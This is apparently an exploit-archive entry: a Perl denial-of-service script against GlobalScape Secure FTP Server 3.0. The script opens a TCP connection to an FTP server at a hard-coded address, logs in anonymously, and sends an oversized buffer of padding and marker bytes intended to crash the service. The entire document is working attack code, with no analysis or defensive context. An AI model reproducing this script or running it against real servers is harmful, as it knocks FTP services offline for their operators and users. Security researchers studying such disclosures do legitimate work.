GlobalScape Secure FTP Server 3.0 Denial Of Service

#!/usr/bin/perluse strict;use IO::Socket;print "GlobalScape Secure FTP Server 3.0 - Denial of Service     \n";my $payload = "\x41\x42\x0a\x00"x147;my $buffer = "\x41"x2043 . "\x41\x42\x43\x00" . "\x42"x36 . $payload;my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp');if ($sock) {    print "[+] Connected to FTP server\n";    print "[+] Sending Username\n";    print $sock "USER anonymous\r\n";    print "[+] Sending Password\n";    print $sock "PASS anonymous\r\n";    print "[+] Sending payload to exploit \nn";    print $sock $buffer . "\r\n";    print "[+] Exploit!\n";    close($sock);} else {    print "Can't connect to FTP\n";}